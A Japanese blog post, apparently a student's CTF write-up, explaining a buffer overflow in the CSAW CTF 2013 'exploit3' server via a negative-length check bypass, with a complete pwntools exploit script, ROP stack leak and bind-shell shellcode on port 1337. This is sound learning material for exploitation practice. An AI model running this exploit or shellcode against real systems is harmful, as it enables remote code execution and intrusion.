newbieからバイナリアンへ

newbieからバイナリアンへ

人参の秘めたる甘さに気づいた大学生日記

【pwn 4.5】 exploit3 - CSAW CTF 2013

 

 

 

0: 参考

bataさんの良問リスト

 

問題ファイル

shell-storm.org

 

1: イントロ

bataリスト

CSAW CTF 2013 の baby 問題  "exploit3" (fil_chal, diary)

 

 

2: 静的解析

./ex3: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.24, BuildID[sha1]=e6e7d1f8a7d1b6fea2e862816b795ac1410fa3af, stripped
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments



3: プログラムの概要

fork-exec型のサーバプログラム

最初にsetuid/seteuidとかを扱っていたが

この辺の知識が乏しかったため以下を参考にした

www.ipa.go.jp

 




プログラムの動作はこんな感じ

A: ユーザ名とパスワードで認証

B: 入力文字数を入力する

C: Bの入力数分入力する

 

それぞれの制約などは以下の通り

A: ユーザ名/パスワードはどちらもバイナリ中に埋め込まれていた

B: atoi() で整数に変換するがバッファサイズが0x400であり

 入力が0x400以上だとinvalidになる

 しかしatoiした値を非負値として0x400と比較しているため

 -1 = 0xFFFFFFFF を入力するとこの検査をバイパスできる

        // ↓ VULNERABILITY
        if ((int)num + 0x1U < 0x401) {
        sVar2 = recv(sfd,local_420,(int)num,0x0);
        uVar1 = (ushort)sVar2;
        if (uVar1 == 0xffff) {
            perror("recv: ");
        }
        else {
            if (0x400 < uVar1) {
                uVar1 = 0x400;
            }
            num_read = (uint)uVar1;

 C: Bでバイパスしたことによりオーバーフローできる

 

 

 

4: 方針

表層解析でNX disabledであることがわかっているため以下の方針で行く

a: バッファオーバーフローさせる

b: send() でスタックに積まれているスタックのアドレスをリーク

c: 新しく接続してshellcodeをバッファに積みバッファにジャンプ

d: shellcodeでTCP 1337にソケットを開いて/bin/shをくっつけとく

e: TCP1337で cat /flag する

 

各々の説明は以下の感じ

b: gdbでスタック上においてある古いebpのアドレスのオフセットを調べる

 そこまではただ ret をするだけのgadgetへのアドレスを噛ませておく

$ rp -f ./ex3 -r 0 --unique | grep ret
0x08049580: rep ret  ;  (1 found)
0x0804868f: ret  ;  (26 found)

 

    それからPIEではないから事前に call send をするアドレスも調べておき

 スタックが以下の状態になるようにする

 

ret gadget
ret gadget
...
ret gadget
call send gadget
4 (socket fd)
old ebp
-1
0
...

 

c: fork() してできた子プロセスは親のメモリ空間をそのまま継承する

 これはスタックについても同様であるため

 ここまででリークした情報は新しく接続してできたプロセスに対しても使用できる

 ココらへんの情報は以下を参考

 

wiki.bit-hive.com

 



5: exploit

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

FILENAME = "./ex3"

rhp = {'host':"localhost",'port':34266}
context(os='linux',arch='i386')
binf = ELF(FILENAME)

#preparatory investigation
ret_inst_addr = 0x0804868f  #only ret
call_send_addr = 0x8048d04  #call send()
diff = 0x55c                #diff between buf addr & acquired ebp

#shell bind tcp to 1337
shellcode = "\x6a\x66\x58\x6a\x01\x5b\x31\xf6\x56\x53\x6a\x02\x89\xe1\xcd\x80\x5f\x97\x93\xb0\x66\x56\x66\x68\x05\x39\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x56\x57\x89\xe1\xcd\x80\xb0\x66\x43\x56\x56\x57\x89\xe1\xcd\x80\x59\x59\xb1\x02\x93\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x41\x89\xca\xcd\x80"

def exploit(conn):
  #hard-corded in the binary
  username = "csaw2013"
  password = "S1mplePWD"

  #login
  conn.recvuntil("UserName: ")
  conn.sendline(username)
  conn.recvuntil("Password: ")
  conn.sendline(password)

  #generate payload which leak addr of somewhere on the stack
  #( send(sfd=4, older ebp, xxx, 0) )
  payload = "A"*0x420
  payload += p32(ret_inst_addr)*3
  payload += p32(call_send_addr)
  payload += p32(4) #sfd (always 4 in this binary)
  temp_len = len(payload)

  #send payload and run
  conn.recvuntil("Entry Info: ")
  conn.sendline("-1")
  conn.send(payload)

  #get and calc the stack addr
  stack_addr = unpack(conn.recvall()[0:4])
  buf_addr = stack_addr - diff
  target_addr = buf_addr + 0x420 + 0x20
  print("stack: "+hex(stack_addr))
  print("buf  : "+hex(buf_addr))

  #disconnect
  conn.close()

  #reconnect (stack structure is identical to older one)
  reconn = remote(rhp["host"],rhp["port"])
  
  #login
  reconn.recvuntil("UserName: ")
  reconn.sendline(username)
  reconn.recvuntil("Password: ")
  reconn.sendline(password)

  #generate payload which contains shellcode
  payload  = "A"*0x420
  payload += p32(target_addr)*3
  payload += p8(0x90)*40
  payload += p8(0x90)*(len(payload)%16)
  payload += shellcode
  
  #send shellcode and run
  reconn.recvuntil("Entry Info: ")
  reconn.sendline("-1")
  reconn.send(payload)
  
  #disconnect
  reconn.close()

  #connect to the port opened by me and get the flag
  shell = remote("127.0.0.1",1337)
  shell.sendline("cat /flag")
  shell.interactive()
  
if len(sys.argv)>1:
  if sys.argv[1][0]=="d":
    cmd = """
      set follow-fork-mode child
      b *0x8048f7a
      b *0x08049113
    """
    conn = gdb.debug(FILENAME,cmd)
else:
    conn = remote(rhp['host'],rhp['port'])
exploit(conn)
conn.interactive()




6: 結果

f:id:smallkirby:20190825230047p:plain

 



続く・・・